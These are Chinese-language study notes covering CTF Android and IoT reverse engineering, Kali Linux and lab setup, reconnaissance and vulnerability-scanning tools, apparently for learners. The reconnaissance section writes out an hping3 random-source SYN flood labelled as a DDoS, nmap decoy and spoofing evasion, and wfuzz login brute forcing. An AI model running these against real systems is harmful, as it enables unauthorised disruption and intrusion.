CTF比赛中的Android题目以APK逆向为主,通常提供APK安装程序或需经流量、解密、拼装等方式获取APK(或dex文件)进行逆向操作。因多数Android系统及题目基于ARM处理器平台,建议使用Android手机调试,模拟器可能有性能和验证问题,研究Android可选用谷歌Nexus系列手机。

(二)Android基本架构

  • 整体分层:分为Linux内核层、系统运行层、应用框架层和应用层,CTF题目主要集中在应用层。从开发角度,Android应用包括Java实现的Dalvik虚拟机层和C/C++实现的Native层,题目逻辑可在这两层。Dalvik层逆向相对简单,Native层较复杂。
  • Dalvik虚拟机:Android应用运行在Dalvik虚拟机(5.0后默认ART虚拟机,但Dalvik知识仍重要),运行Dalvik字节码,由Java字节码转换并打包成DEX文件,有自己的指令集和汇编代码。
  • Native层:用C/C++开发的代码编译成so文件,在应用运行时加载。其与Dalvik层函数关联方式多样,后续会详细阐述。

(三)ARM架构基础知识

多数Android应用运行在ARM处理器架构上,以32位ARMv7为例:

  • 寄存器:共37个32位寄存器,31个通用寄存器和6个状态寄存器。应用主要运行在用户模式,可访问不分组寄存器R0 - R7、分组寄存器R8 - R14、程序计数器R15(PC)和当前程序状态寄存器CPSR。
  • 工作状态:有ARM和Thumb两种状态,可切换。ARM状态执行32位对齐ARM指令,Thumb状态执行16位对齐Thumb指令,由CPSR中的T标志判断。两种状态下部分寄存器命名不同。
  • 函数调用/跳转指令:b系列指令用于函数调用和跳转,带“x”的指令可切换模式,带“l”的指令会保存返回地址。函数前4个参数存于R0 - R3,其余在栈里。
  • 出栈入栈指令:push和pop指令与Intel x86类似,push后可接多个寄存器。
  • 保存/恢复寄存器指令:LDR、STR、LDM、STM系列指令用于寄存器与内存的数据交互,LDM、STM可用于出栈入栈操作。

(四)adb工具

adb是谷歌官方命令行工具,用于连接真机或模拟器(需打开USB调试),主要功能如下:

  • 设备管理adb devices查看连接设备;adb install <APK路径>安装APK;adb uninstall <package>卸载APP。
  • shell与日志adb shell打开shell;adb logcat查看日志。
  • 文件传输adb push <本地文件> <远程路径>上传文件;adb pull <远程文件> <本地路径>下载文件。
  • 端口转发adb forward [--no-rebind] LOCAL REMOTEadb reverse [--no-rebind] REMOTE LOCAL进行端口转发,adb forward –listadb reverse --list列出转发端口。
  • 其他操作:如adb kill-server终止ADB Server;adb start-server启动;adb root以root权限重启ADB DAEMON;adb reboot重启设备等。

(五)APK文件格式

APK是zip压缩文件,解压后包含:

  • AndroidManifest.xml:APK属性文件,描述Activity、所需函数、启动类等信息,需用工具解析。
  • META-INF:编译自动生成,尽量不手动修改。
  • assets:其中文件原封不动打包,常存放密钥或密文等。
  • classes.dex:存放Dalvik字节码,解析方法后续介绍。
  • libs:包含Native层所需lib库。
  • res:存放资源文件。
  • resources.arsc:存放资源关联信息,解析后可查看。

二、Dalvik层逆向分析

(一)Dalvik基础知识

  • 寄存器:基于寄存器架构,有v和p两种命名法。p命名法中p0、p1等表示传入参数,v命名法中v0、v1等表示局部变量和参数,函数开头用.locals.param描述变量。
  • 类型:有11种变量类型,32位用一个寄存器存储,64位用两个。L类型表示类,[类型表示数组,可组合使用。
  • 方法:以.method开始,.end method结束,用#注释方法类型,通过方法名、参数类型和返回值描述方法,->表示方法调用关系。
  • 指令特点:与Intel x86汇编指令相似,参数从目标到源。是变长指令,通过后缀表示寄存器编号范围和常量取值范围,还有-后缀表示类型。常见指令有返回指令(如return-void等)、方法调用指令(如invoke-kind系列)、跳转指令(如gotoif-test系列)。

(二)静态分析工具与方法

  • Apktool:优秀的APK反编译工具,可将APK解压并转换DEX为BakSmali代码,转换resources.arsc为XML。支持重新打包和签名,是破解常用工具。跨平台,需Java 1.7以上。可编译或下载运行,建议自己编译以便处理混淆。常用命令:apktool d [ecode][options] <file_apk>反编译;apktool b [uild][options] <app_path>编译。反编译后查看AndroidManifest.xml获取关键信息,修改BakSmali代码后需签名才能安装运行,签名可按步骤生成密钥并使用signapk.jar工具。
  • dex2jar:将DEX文件转换为Jar文件,开源,可克隆源码编译。常用d2j-dex2jar.sh filename命令生成Jar文件,还包含其他实用工具。
  • jd-gui:开源工具,用于查看Jar文件反编译的Java代码,可克隆源码编译运行,将Jar文件拖入即可查看。
  • FernFlower:JetBrains公司开发,反编译效果好,开源可编译使用。命令为java -jar fernflower.jar jar_path out_dir,输出目录需手动创建,反编译后解压可获得Java文件。与jd - gui相比,jd - gui有图形界面但反编译效果稍欠,FernFlower命令行操作且能一次性反编译所有类,可结合使用。
  • Android Killer/jadx/APK Studio
    • Android Killer:可视化工具,集成多种功能,操作方便,但闭源且只支持Windows。可自动反编译APK,编辑BakSmali代码,重打包和签名,还包含多种小工具。若重打包失败可升级Apktool。
    • jadx:开源,全平台可用,集成dex2jarjd-gui功能,可一键反编译生成Java代码。源码克隆后编译运行jadx-gui程序,拖入APK文件即可查看代码。
    • APK Studio:开源,跨平台,集成Apktooljarsigner功能。编译较复杂,需安装Qt5编译环境,配置Apktool路径后可使用。重打包和签名功能可用,但签名可能失败,建议用Apktool签名方法。
  • JEB:闭源商业软件,支持反编译APK、DEX、Jar文件,有JEB1和JEB2版本,JEB2功能更完善。反编译结果非标准Java文件,但不影响理解,其交叉引用功能强大,可方便重命名和查看引用。使用时将APK拖入“工程浏览器”,可切换查看BakSmali和Java代码,右键点击代码有多种实用功能,如交叉引用、注释、进制转换等,还可预览Manifest.xml和资源文件。
  • 其他工具:Androguard是恶意软件分析工具包,包含多个小工具可分析APK;IDA Pro也支持DEX文件静态分析,拖入APK选择class.dex即可反编译。

(三)动态调试方法

  • log调试:通过修改BakSmali代码插入android.util.Log类的打印语句实现调试,但需重打包,不适用于有完整性校验等保护的APK。插入语句时要注意选择合适的局部变量存储tag参数,避免信息淹没或过度修改代码。
  • smali动态调试:利用Dalvik虚拟机的JDWP调试支持,需满足ro.debuggable为1或APK的AndroidManifest.xml<application>元素包含android:debuggable="true"。可使用setpropex工具(需root权限)修改ro.debuggable属性。JEB2可进行动态调试,点击调试按钮选择目标手机和App进入调试模式,可设置断点、查看变量等,与一般调试方法类似。
  • Xposed框架:基于Hook技术,通过修改app_process程序加载XposedBridge.jar文件来Hook APK。安装需先安装对应模块管理器,根据系统版本不同有所区别。安装app_process有直接修改和刷机包替换两种方法,后者较烦琐。开发Xposed模块需在Android studio或Intellij IDEA中创建工程,添加依赖和meta-data属性,实现IXposedHookLoadPackage接口的handleLoadPackage方法,使用findAndHookMethod进行Hook操作,最后在xposed_init文件声明Hook类名并安装运行模块。
  • Frida框架:全平台支持,上层抽象为JavaScript API调用。Android系统中需在手机端运行frida-server(需Root权限),与客户端通过adb端口转发通信。客户端可使用Python或JavaScript实现,Python客户端安装frida库后编写代码,JavaScript客户端需安装nodejsnpm环境并按步骤配置。服务端先下载frida-server并推送到手机运行,然后编写Hook代码,使用Java.perform注册,Java.use选取要Hook的类,修改implementation属性实现Hook,可通过sendconsole.log打印信息,处理重载函数需使用overload函数。

(四)Dalvik层混淆及加固技术

  • ProGuard混淆:Android SDK默认混淆器,混淆类名、方法名、变量名等标识符,但部分重要接口类和方法不混淆。解题时可从关键接口方法入手,用JEB的交叉引用和重命名功能辅助分析。
  • DEX破坏:针对Apktool反编译,修改classes.dex部分字段使反编译失败。可根据报错信息回溯或对比正常APK文件解决,同时要更新Apktool版本。
  • APK伪加密:修改APK文件加密字段为1,使解压工具提示密码错误,但不影响在Android系统运行。可将相关字节设为0或用Android Killer去除伪加密。
  • APK增加数据:在APK末尾添加数据破坏解压缩流程,解决方法是剔除多余数据并注意其中提示信息。
  • DEX隐藏:将真正DEX文件隐藏,执行时由解壳程序解密加载。解题关键是找到DexClassLoader加载和保存文件的位置。

三、Native层逆向

(一)Native层介绍

  • 正向开发:使用Android NDK可让Java层调用C/C++代码。开发步骤为:在Java文件中用native声明Native方法;运行javah生成.h头文件,包含JNI调用所需变量和函数声明;编写函数实现并创建Android.mkApplication.mk文件配置编译参数;用ndk-build编译生成lib库文件;在Java类中用System.loadLibrary加载库文件。形成JNI调用需满足有System.loadLibrary加载、Java类中有native声明方法、Native层有带JNIEXPORT参数的对应函数三个条件,其中前两个必要,最后一个因Native函数可动态注册并非绝对。
  • JNI调用特征分析:以Android 7.0.0_r1源码为例,System.loadLibrary方法会调用Runtime.loadLibrary0,后者根据ClassLoader类型查找lib文件路径并传入doLoad方法,doLoad再调用Native层的nativeLoad函数,最终调用JavaVMExt::LoadNativeLibrary加载lib库。加载过程中关键是dlopen函数调用(会搜索init_array段并运行)和JNI_OnLoad函数调用(若存在则自动运行),解题时需重点关注这两个入口和(*env)->RegisterNatives函数。

(二)使用IDA Pro静态分析

将APK解压后的so文件拖入IDA Pro,查看导出表找感兴趣函数(如JNI_OnLoad),双击函数可反编译为C语言形式,若参数识别错误需手动修改函数定义。还要查看init_array段,可能隐藏关键代码,通过Segments窗口找到并双击进入查看。

(三)动态调试方法

  • IDA Pro调试:需ROOT手机。将android_server文件推送到手机/data/local/tmp目录并启动,设置端口转发,在IDA Pro中选择远程调试并连接手机端口,选择调试进程后即可开始调试,调试时可结合静态分析窗口辅助。
  • GDB调试:通常使用gdbserver进行远程调试。先从AOSP下载gdbserver和对应系统版本的GDB,将gdbserver推送到手机运行(选择合适模式和监听端口),设置端口转发,在电脑上运行GDB并连接远程调试器。调试时要结合IDA Pro静态分析,常用命令有查看内存(x/FMT ADDRESS)、查看数据(print/FMT EXP)、设置断点(break [LOCATION] [thread THREADNUM] [if CONDITION])、调试代码(如nextstep等)、修改变量(set命令)、查看栈信息(btupdownframe等命令)。
  • Frida框架:在Native层使用Module.findExportByName找到目标函数地址,用Interceptor.attach注册Hook函数,onEnter回调处理传入参数,onLeave回调处理返回值。若函数未导出可手动构造NativePointer对象,结合Module.findBaseAddress和偏移量定位函数地址。还可使用hexdump方法打印内存。

(四)OLLVM混淆及加固技术

OLLVM基于LLVM编译器,支持多种语言和架构,有三种混淆方式:

  • -fla(控制流扁平化):将代码划分为基础块放入无限循环,用新变量和switch语句控制流程。分析时可根据寄存器LR赋值情况还原代码。
  • -bcf(虚假控制流):复制基础块代码并添加永真虚假分支。可通过源码中跳转条件(如y<10||x*(x+1)%2==0)识别并去除无尽循环分支来绕过。
  • -sub(指令替代):将常见基础指令替换为复杂指令,程序主要流程不变,可查看官方文档处理。

四、总结

本篇从Android基础知识、Dalvik层逆向、Native层逆向三个方面介绍了CTF中Android题目的类型和解法,涵盖架构、工具、调试、混淆加固等内容,为Android逆向提供了全面的知识和技能指导。

IoT笔记

一、IoT与嵌入式系统基础

(一)IoT 概述

  • 定义与本质:IoT 安全基于嵌入式系统的传感器网络,涵盖车联网、传感器网络、工控网络等,核心由传感器、RFID、嵌入式系统技术组成,是低功耗、协议简化的无线通信网络,与传统互联网在设备、网络结构、数据传输等方面存在差异。
  • 关键技术作用
    • 传感器技术:将模拟信号转换为数字信号,使计算机能处理物理世界信息,是计算机应用的关键。
    • RFID 技术:融合无线射频与嵌入式技术,在自动识别等领域应用广泛。
    • 嵌入式系统技术:综合多技术,其智能终端产品无处不在,微控制器和 DSP 是重要组成部分。

(二)嵌入式系统

  • 定义与实例:具有完整计算能力的单板或片上系统,常见于手机、摄像头等电子产品,在航天军事领域也有大量应用。
  • 基本概念
    • 信号类型:模拟信号连续,是物理世界电信号;数字信号离散,通过采样模拟信号获得,便于计算机存储处理。
    • 硬件相关:单片机(MCU)集成多种组件;固件是单片机固化程序;不同架构有各自指令集;DSP 用于浮点运算加速;嵌入式处理器满足特定应用需求;基带涉及信号处理;Datasheet 是芯片关键文档;FPGA 可硬件编程用于电路验证;频谱用于信号分析;无线传感器网络是分布式传感网络。

二、CTF 中 IoT 题型分析

(一)逆向工程

  • 涉及单片机或嵌入式处理器固件等逆向,因架构繁多且指令系统差异大,对初学者难度较高。

(二)漏洞利用(PWN)

  • Linux 等系统在嵌入式环境应用使部分漏洞利用方法可迁移,但受架构和设备能力限制,多集中在 ARM - Linux 和 MIPS - Linux 平台,解题需掌握通用 PWN 技巧。

(三)取证(forensic)

  • 通常提供固件分析提取信息,熟悉固件结构是解题关键。

(四)协议分析(MISC)

  • 分析无线传感器网络数据包格式,通过 diff 推测字节含义确定协议,难点在于校验位算法复杂。

(五)无线信号分析

  • 根据无线通信波形分析内容,涵盖简单调制方式解调及复杂 4G 信号分析,对专业知识要求高。

三、IoT 固件逆向工程技巧

(一)常见 IoT 架构

  • ARM:应用广泛,Cortex 系列包括 A(高性能应用处理器)、M(高性能低功耗微控制器)、R(实时操作系统专用)等子架构,各有特点和应用场景,ARMv8 为 64 位架构。
  • MIPS:采用无内部互锁流水线设计,在网络设备中有优势,CTF 题目涉及 PWN 和逆向,无 NX 保护。
  • 8051:Intel 设计的 8 位复杂指令集 MCU,稳定性强,在工控网络常用,未来可能在 CTF 中出现。
  • AVR:Atmel 研发的 8 位精简指令集高速单片机,打破传统设计格局,在多领域应用,CTF 有相关逆向题。
  • PowerPC:曾抗衡 x86 架构,现主要用于嵌入式和小型机市场,PWN 题因大端序较难利用,以固件分析和逆向为主。
  • 其他架构:如 PIC32、MSP430、IA64 等,各有特点和应用场景。

(二)芯片手册运用

  • 获取与阅读方法:可通过 Google 或厂商官网获取 Datasheet,推荐 alldatasheet 网站。阅读时关注引脚定义、内存映射图和寄存器信息,以 STM32F103 为例介绍了具体分析方法。

(三)IDA 操作技巧

  • 寻找固件入口点:以 STM32F103 程序为例,在 IDA 中加载 hex 文件时选对 CPU,找到中断向量表中最小指针确定入口点,必要时手动转换数据为指令。
  • 地址处理:添加对应 segment 将操作数转 Offset,可进一步修改地址名字,便于分析特殊功能寄存器和 SRAM 地址。
  • CPU 高级选项:精确设置 CPU 架构可提升 IDA 分析效果,如选择 ARMv7 - M 可准确分析 Cortex M 架构代码。

(四)调试环境与工具

  • Linux 类环境:ARM - Linux、MIPS - Linux 等可使用基于 Debian 的环境,Qemu 提供多架构虚拟化,介绍了其镜像下载和启动方法,不同架构参数有差异。
  • 裸机环境:针对无操作系统的程序,可使用特定实验室的编译环境或 Docker,以 ARM 环境为例说明了工具使用方法。
  • 专业调试工具
    • MDK:Keil 公司开发的微控制器开发工具,支持多种 CPU 内核,介绍了工程创建、调试文件添加和设置方法,可进行反汇编调试和外设寄存器查看等操作。
    • AVR Studio:Atmel 公司为 AVR 单片机开发的集成环境,可免费使用,介绍了其工程创建和调试方法,注意 AVR 单片机存储结构特点。
    • Hapsim:AVR 外设模拟器,作为 AVR Studio 插件使用,可模拟多种接口与程序交互,介绍了其使用步骤和设置方法。
  • 反编译工具:IDA 部分版本对 IoT 程序反编译支持有限,Retargetable Decomplier 是可替代工具,支持多平台,提供在线反编译和插件功能。

四、固件结构分析方法

(一)常见固件类型

  • 包括裸机程序、文件系统镜像、带压缩的镜像和文件系统等,重点介绍文件系统分析,可使用 binwalk、file 等命令初步识别固件类型。

(二)Flash 文件系统

  • JFFS/JFFS2 适用于 NOR Flash,支持多种压缩算法;YAFFS/YAFFS2 针对 NAND Flash,大容量读写有优势;Squashfs 是 Linux 只读压缩文件系统,用于存储紧张场合。

(三)固件基地址确定

  • 方法:裸机程序可查 Datasheet;部分固件可在分区表查找;PowerPC 可利用汇编特性确定,其他架构需经验和额外信息辅助。
  • 示例:以 Confused ARM 和某 3G 路由固件为例说明了具体确定方法。

(四)固件分析工具

  • Firmware Mod Kit:用于编辑 Squashfs 固件,可提取分析相关路由器固件,介绍了其下载和提取脚本使用方法。
  • mtd - utils:用于挂载 jffs/jffs2 和 yaffs/yaffs2 固件,以 jffs2 为例介绍了安装、识别、加载和挂载步骤。

五、无线信号分析要点

(一)基本理论

  • 介绍射频信号、频谱、绝对带宽和有效带宽等概念,频谱是理解无线通信的关键。

(二)调制解调方式

  • 曼彻斯特编码:同步时钟编码技术,兼具时钟和数据传输,有自同步和抗干扰能力,编码规则明确但存在歧义。
  • ASK:用信号振幅有无表示 0 和 1,介绍了通用解调方法及滤波器设计要点。
  • FSK:用不同频率表示 0 和 1,通过过零点次数区分频率,解调需经滤波器处理和包络判断。

(三)Matlab 应用

  • 以 ASK 为例介绍 Matlab 的 sptool 在信号处理和滤波器设计中的应用,包括信号导入、滤波器设计和应用及结果导出等步骤。

六、经典赛题解析

(一)PCTF2016:Confused ARM

  • 分析 main 函数确定相关函数功能,通过动态调试发现 AES 算法使用痕迹,找出算法错误并 patch,修改 hex 文件后重新加载获取 flag。

(二)UCTF2016 资格赛:TWI

  • 用 file 命令识别为 Atmel AVR 程序,结合 AVR Studio 和 IDA 调试分析,处理程序中的陷阱,确定关键代码逻辑并逆向求解 flag。

(三)UCTF2016 决赛:Normandie

  • 识别固件后解压,分析信息确定操作系统和主机架构,用 IDA 加载并确定基地址和重建符号表,分析函数得到后门账号和密码相关信息,经爆破得到密码。

(四)ACTF2016:4G Radio

  • 用 Matlab 分析 wav 文件,经 ASK 调制解调、滤波、抽样和曼彻斯特解码得到二维码,扫描获取摄像头固件,挂载后找到管理员密码。

(五)UCTF2016 资格赛:传感器(1)(2)

  • 传感器(1):对数据进行曼彻斯特解码,按规则转换得到 flag。
  • 传感器(2):与传感器 1 解码思路相同,重点考察数据包 diff 方法,分析不同部分含义计算相关值。

(六)UCTF2016 资格赛:Add

  • 识别为 mipsel 可执行程序,搭建调试环境,利用栈溢出漏洞和反编译代码确定攻击方法,编写 exp 脚本获取 shell。

Kali系统

(一)简介

  1. Parrot 渗透测试系统:集成渗透测试、信息查找、数字取证等多功能环境,自带 Tor 和 Firefox 浏览器方便暗网访问与活动隐藏,支持 Wine 可运行 Windows 应用。
  2. BlackArch Linux:基于 Arch Linux,拥有超 2600 个涵盖多领域(数字取证、漏洞挖掘利用等)的工具,专为安全人员设计。
  3. Kali Linux:基于 Debian 的开源系统,集成 600 多款工具用于渗透测试等安全活动,具有完全定制化 ISO 镜像、多设备平台支持、多种启动与安全功能(如 Live USB 启动、隐蔽模式、LUKS nuke)、多语言支持及无线设备扫描利用能力等优势,在功能、易用性和市场占有率上领先。

(二)Kali Linux 安装

  1. 下载:访问官网,点击 DOWNLOAD 后选 Bare Metal 标签,再点 Installer 下载镜像文件;也有 Weekly(最新未测镜像)、NetInstaller(安装时下载软件包)版本及虚拟机文件(默认用户密码 kali)。
  2. 安装到虚拟机(以 VMware Workstation 16 为例)
    • 新建虚拟机:选“典型”,稍后安装操作系统,选 Linux 类型,设置名称位置(非 C 盘),磁盘 40GB(常用)或 20GB(偶尔用),完成后编辑虚拟机设置,内存设 2GB(不超宿主机 3/4 且不超 8GB),处理器依宿主机配置设为 1 个处理器、2 个内核,选桥接模式,指定下载的镜像文件。
    • 安装过程:开启虚拟机,选 Graphical install,依次设置中文(简体)语言、中国区域、汉语键盘,自动获取 IP 与配置主机名(设为 kali),按需设域名,设用户名 snowwolf 和密码 123qwe,磁盘分区选整个磁盘安装(物理机建议手动分区),选推荐分区方案,确认后下载安装软件包、安装 GRUB 到主引导记录(选 /dev/sda),完成安装后重启登录。
  3. 更新:采用滚动更新,用 APT 工具。先在终端用 Vim 编辑 /etc/apt/sources.list 文件(默认官方源),再依次执行 sudo apt update、sudo apt full-upgrade -y、sudo apt-get dist-upgrade 命令更新软件源、软件包和系统,最后重启。
  4. 配置
    • 自适应窗口:点击屏幕左上角“查看”菜单,选“立即适应客户机”。
    • 切换 root 用户:一是点击 Kali Linux Logo 运行 Root Terminal Emulator 终端程序,输入 snowwolf 用户密码授权进入 root 权限终端;二是终端输入 sudo reboot 重启,在重启界面按 E 键修改启动参数为 rw quiet splash init=/bin/bash 进入单用户模式,用 passwd root 命令修改 root 密码后重启登录。
    • 浏览器配置:点击 Kali Linux Logo 打开 Firefox 浏览器,在偏好设置中选 Language 选项添加中文语言重启;以 HackBar 插件为例,在扩展和主题中搜索添加,使用时按 F12 键调出。

(三)靶机

  1. DVWA 靶机
    • 下载:在 Kali Linux 终端执行 git clone https://github.com/digininja/DVWA/var/www/html/DVWA 命令下载到网页目录。
    • 配置:终端输入 chmod 777 -R DVWA/ 赋予权限,启动 apache2 和 mysql 服务,登录 mysql(Kali Linux 中为 MariaDB)创建 dvwa 数据库并授权远程访问,在 DVWA 目录下复制 config.inc.php.dist 为 config.inc.php 并修改其中数据库相关配置(db_server、db_database、db_user、db_password),重启 apache 服务。
    • 验证:在 Firefox 浏览器地址栏输入 http://127.0.0.1/DVWA/setup.php 进行安装检查,按需修改 php.ini 文件中 allow_url_fopen 和 allow_url_include 选项为 On 后重启 apache,点击 Create/Reset Database 导入数据库文件,用默认用户名 admin 和密码 password 登录进入主界面。
  2. OWASP 靶机:访问 https://sourceforge.net/projects/owaspbwa/files/ 下载解压,修改虚拟机运行内存为 512MB,网络适配器设为与 Kali Linux 一致(如桥接模式),启动后用默认用户名 root 和密码 owaspbwa 登录系统,在浏览器输入靶机地址(如 http://192.168.8.109)进入 Web 界面,登录其他靶机环境可能需用用户名 admin 和密码 admin 尝试。

信息收集

(一)概念

信息收集是渗透测试关键基础,通过对目标系统全面调查分析获取特征、漏洞等信息,为攻击定策略。遵循保持隐蔽性、灵活性、完整性、准确性原则,需测试人员具创造力与分析力。开源情报是重要信息源。

(二)开源情报

  1. whois:在 Kali Linux 用 whois 命令查询域名或 IP 地址注册信息,如 whois baidu.com 可查百度相关注册信息。
  2. CDN
    • 绕过 CDN 获取真实 IP 方法
      • 邮箱地址:向目标站发邮件,查看邮件头 Received 字段获取。
      • phpinfo 文件:访问目标根目录下 phpinfo.php 文件,查看 SERVER_ADDR 字段获取。
      • 分站:访问未受 CDN 保护的分站获取。
      • 国外访问:用国外代理或 VPN 访问 17CE 官网检测获取。
      • 域名历史解析记录:在 https://sitereport.netcraft.com/ 查询域名历史记录获取。
      • APP 请求:分析移动端 APP 网络请求获取。
  3. 子域名
    • 枚举方法
      • Netcraft 在线网站查询:访问 https://searchdns.netcraft.com/ 输入域名查询。
      • 证书透明度公开日志:访问 https://crt.sh/ 输入域名搜索。
      • AORT 工具:在 Kali Linux 终端输入“aort -d 域名”枚举。
      • subfinder 工具:先部署 Go 语言环境,安装后在执行文件目录下输入“./subfinder -d 域名”收集。
  4. 搜索引擎及在线网站
    • Google 搜索引擎:用特定语法(如 inurl:/admin/upfile.asp 搜索上传文件路径)搜索信息,可在 https://www.exploit-db.com/google-hacking-database 查看更多语法。
    • 在线网站:Shodan(网络扫描引擎,用特定语法查设备信息)、FOFA(网络空间测绘,有独特语法查网页和 IP 信息)、Censys(与 Shodan 类似)等,如 FOFA 中输入 app=”Baidu-云加速”可搜索百度云加速应用。

(三)主动侦查

  1. DNS 侦查
    • DNSMap:在 Kali Linux 终端输入“dnsmap 域名 -r dnsmap.txt”枚举子域名并保存结果。
    • DNSRecon:终端输入“dnsrecon -d 域名”查看各种 DNS 记录,也可反向查询(如 dnsrecon -r 110.129.8.1-110.129.8.10 -t rvl–v)。
    • DNSEnum:终端输入“dnsenum 域名”获取子域名及 DNS 记录,默认验证区域传输漏洞。
    • Fierce:终端输入“fierce —domain 域名”扫描子域名和 IP 地址。
  2. 主机枚举
    • ATK6:在 Kali Linux 终端输入 atk6-alive6 eth0 检测内网 IPv6 主机。
    • fping:终端输入 fping -a -g -q 网段(如 192.168.8.0/24)枚举存活主机,也可指定 IP 范围。
    • hping3:可发自定义数据包,如 hping3 —icmp -c 2 IP 地址确认主机存活;hping3 -S —flood —rand-source -p 端口 IP 地址发起 DDoS 攻击;hping3 —scan 端口范围 -S 域名或 IP 地址扫描主机端口;hping3 -c 4 -V -p 80 -F 域名或 IP 地址执行 FIN 扫描。
    • nping:终端输入“nping 域名/IP 地址”扫描存活主机,可指定 IP 范围和端口扫描(如 nping —tcp -p 端口域名或 IP 地址)。
    • Nmap:功能强大,如 nmap -A -T4 域名或 IP 地址检测操作系统等多信息;nmap -T4 域名或 IP 地址 -p 1-65535 全端口扫描;nmap -O 域名或 IP 地址仅扫描操作系统版本;可伪造 MAC 地址(nmap 域名或 IP 地址 —spoof-mac MAC 地址或 0)、分段数据包(nmap -f 域名或 IP 地址)、设置数据包 MTU(nmap —mtu 数据包大小 域名或 IP 地址)、伪造 IP 地址(nmap -D 伪造 IP 地址列表域名或 IP 地址)、插入数据包内容(nmap —data-string“自定义字符串”域名或 IP 地址),组合参数可隐蔽扫描(如 nmap —spoof-mac FF:FF:FF:FF:FF:FF —data-length 24 -T1 -f —mtu 16 -D RND -sS -sV -p 1-65535 -n -oA /root)。
  3. 指纹识别
    • 插件识别:在 Firefox 浏览器扩展商店下载 Wappalyzer 插件,安装后点击扩展图标可分析网站技术栈获取指纹。
    • WhatWeb:在 Kali Linux 终端输入“whatweb 域名或 IP 地址”识别网站指纹,可修改请求头(如 whatweb 域名或 IP 地址 -H:Snowwolf:apt -U:Chrome)获取更多信息(whatweb 域名或 IP 地址 -v)。
    • WAF 识别:用 wafw00f 工具识别目标网站 WAF,如 wafw00f 域名或 IP 地址,支持代理(wafw00f 域名或 IP 地址 —proxy=代理地址)。
  4. 目录扫描
    • Dirb:在 Kali Linux 终端输入“dirb 域名或 IP 地址”扫描目录文件,可指定 Cookie(dirb 域名或 IP 地址 -c “Cookie”)、递归扫描(dirb 域名或 IP 地址 –R)、自定义字典(dirb 域名或 IP 地址 字典文件路径)、更改 User-Agent(dirb 域名或 IP 地址 -a “指定 User-Agent”)。
    • DirBuster:在 Kali Linux 中点击左上角 Logo 打开,设置目标 URL、线程数、字典文件、文件扩展名等开始扫描,可设置登录凭据扫描登录后目录。
    • Gobuster:在 Kali Linux 终端执行 gobuster dir -w 字典文件 -u 网站地址扫描,可指定 Cookie 扫描登录后目录(gobuster dir -w 字典文件 -u 网站地址 -c “Cookie”)。
    • ffuf:在 Kali Linux 终端执行 ffuf -u 目标 URL -w 字典文件 -c 扫描,用 FUZZ 关键字占位替换。
    • Wfuzz:在 Kali Linux 终端输入“wfuzz -w 字典文件 —hc 404 目标 URL/FUZZ”扫描,可枚举指定后缀文件(wfuzz -w 字典文件 —hc 404 目标 URL/FUZZ.php)、枚举登录凭据(wfuzz -z file,字典文件 -d “uname=FUZZ&pass=FUZZ” —hc 302 登录页面 URL)、枚举 Cookie 值及登录后目录(wfuzz -w 字典文件 -b cookie=”Cookie 值”域名或 IP 地址/FUZZ),可保存结果(wfuzz -f 输出文件路径,文件类型 -w 字典文件 域名或 IP 地址/FUZZ)。

(四)综合侦查

  1. Dmitry:在 Kali Linux 终端输入“dmitry 选项 目标域名或 IP 地址”收集信息,如 dmitry -winsepo 输出文件 目标域名可收集多类信息并保存到文件。
  2. Maltego
    • 配置:注册 Maltego 社区版账户,在 Kali Linux 启动 Maltego 选 CE 版登录,设置隐私模式(如 Normal Privacy Mode),在 Maltego Transform Hub 窗口激活数据集成工具。
    • 使用:点击 Machines 标签添加操作机器(如 Footprints L1)并配置,填写域名执行信息收集,右键实体可操作,可切换视图、保存打开信息,也可新建页面拖放实体收集信息。
  3. SpiderFoot:在 Kali Linux 终端输入“spiderfoot -l 127.0.0.1:5001”启动 Web 服务,在浏览器访问对应 URL 进入 Web 界面,创建新扫描任务设置目标与配置(如 All 获取所有信息)后开始扫描,可查看进度结果、分类信息、图形化关系等,可保存信息与设置扫描参数。

漏洞扫描

(一)漏洞数据库

  • 概述:收集存储软件漏洞信息,为渗透测试、开发及运维人员提供利用方法、修复建议,包含名称、编号等多类信息,有官方和非官方多种来源,以网站或软件形式提供服务。
  • searchsploit工具:Kali Linux本地强大搜索工具,可离线按关键词等搜索,如searchsploit ftpd搜 ftpd 服务漏洞,能联动 Nmap。用nmap 域名或 IP 地址 -sV -oX nmap.xml生成信息文件后,searchsploit --nmap nmap.xml可查相关漏洞,利用程序多为脚本,部分需编译,如gcc 16270.c -o test.exe编译后执行验证漏洞。

(二)Nmap 漏洞扫描

  • 基础介绍:功能强大,可端口扫描等,其脚本引擎(NSE)用 Lua 语言编写脚本发挥威力。
  • 使用 NSE 脚本扫描
    • 脚本分类多,vuln类用于检测漏洞,如nmap --script vuln -T4 域名或 IP 地址运行所有漏洞脚本,nmap --script http-title 域名或 IP 地址运行特定脚本查看网页标题,nmap --script-help=脚本名或文件名查看帮助。
    • 也可运行所有脚本,但--script all危险,因包含有害脚本,需谨慎。
  • 自定义 NSE 脚本:用 Lua 语言在 Nmap 的 NSE 脚本目录编写,如创建phpinfo.nse检测网站phpinfo.php文件,编写后可用nmap --script-help phpinfo.nse检查,nmap 域名或 IP 地址 --script phpinfo检测文件是否存在。

(三)Nikto 漏洞扫描

  • 开源 Web 扫描评估程序,nikto -Display 1234ep -h 域名或 IP 地址执行扫描,可发现多种安全问题,如 PHP 代码执行漏洞,nikto -Display 1234ep -h 域名或 IP 地址 -o nikto.html可保存结果,nikto -list-plugins查看插件,nikto -Display 1234ep -h 域名或 IP 地址 -Plugins 插件名称用指定插件扫描。

(四)Wapiti 漏洞扫描

  • 开源轻量级 Web 应用漏洞扫描工具,wapiti -u 域名或 IP 地址 --color简单扫描,自动爬取页面检测漏洞,扫描后生成 HTML 报告,wapiti-getcookie -u 域名或 IP 地址 -c cookie.txt生成 Cookie 文件用于登录后扫描,wapiti -u 域名或 IP 地址 --cookie cookie.txt加载 Cookie 扫描。

(五)ZAP 漏洞扫描

  • 主动扫描
    • 核心功能,自动渗透测试常见漏洞,扫描前需设置代理(ZAP 用 8080 端口,浏览器依类型设置)和证书(ZAP 生成后导入浏览器),如在 ZAP 主界面操作和 Firefox 中配置。
    • 配置后在 ZAP 中选目标网站,启动传统和 AJAX 爬行扫描,扫描结果在警报栏按等级显示,可查看详细信息生成报告。
  • 手动探索:设置代理后,在 ZAP 启动代理浏览器访问网站,手动输入参数测试漏洞,ZAP 记录请求响应,可修改重发。

(六)xray 漏洞扫描

  • 免费白帽子工具,支持多种漏洞检测与框架构建,可联动其他工具。从官网或 Github 下载解压后运行生成配置文件启动。
